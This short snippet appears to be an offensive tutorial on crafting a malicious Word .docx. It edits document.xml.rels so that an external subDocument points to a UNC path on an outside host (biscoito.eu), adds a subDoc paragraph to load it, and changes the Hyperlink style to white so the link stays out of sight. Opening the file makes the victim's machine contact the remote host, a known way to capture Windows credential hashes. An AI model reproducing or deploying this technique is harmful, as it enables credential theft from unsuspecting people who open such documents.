Important notice: The Target has to start with file:///
(normal slashes) and the UNC path after (with back slashes)
word/_rels/document.xml.rels
<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/subDocument" Target="file:///\\biscoito.eu\test\" TargetMode="External"/>
word/document.xml
<!-- Create a paragraph for it, why not! :) -->
<!-- Ref: http://www.datypic.com/sc/ooxml/e-w_subDoc-1.html -->
<w:p w:rsidR="00212331" w:rsidRPr="002B0DC2" w:rsidRDefault="00212331">
<w:subDoc r:id="rId5"/>
</w:p>
<w:sectPr (...)
word/styles.xml
<w:style w:type="character" w:styleId="Hyperlink">
<w:name w:val="Hyperlink"/>
<w:basedOn w:val="DefaultParagraphFont"/>
<w:uiPriority w:val="99"/>
<w:unhideWhenUsed/>
<w:rsid w:val="00400B73"/>
<w:rPr> <!-- Here V -->
<w:color w:val="FFFFFF" w:themeColor="background1"/>
<w:u w:val="single"/>
</w:rPr>
</w:style>